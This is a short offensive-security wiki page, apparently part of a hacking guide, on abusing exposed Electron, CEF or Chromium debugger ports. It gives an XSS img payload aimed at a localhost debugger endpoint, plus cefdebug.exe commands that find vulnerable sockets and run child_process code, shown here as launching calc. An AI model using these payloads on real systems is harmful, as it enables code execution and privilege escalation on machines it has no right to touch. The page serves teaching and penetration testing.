electron/CEF/chromium debugger abuse

If you find any process with electron, cef or chromium debugger running and listening to a port you should try to make the debugger execute arbitrary commands. Abusing this behaviour you could be able to escalate privileges.

The abuse of this vulnerability remotely could be as easy as injecting via XSS this line of JS:

<img src="http://localhost:40000/json/new/?javascript:require('child_process').spawnSync('calc.exe')">

But obviously the exploitation will be much easier locally, as you can use a tool such as: ****

#List possible vulnerable sockets
./cefdebug.exe
#Check if possibly vulnerable
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
#Exploit it
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"

References

上一页Linux Privilege Escalation 下一页Escaping from a Docker container

最后更新于4年前

这有帮助吗？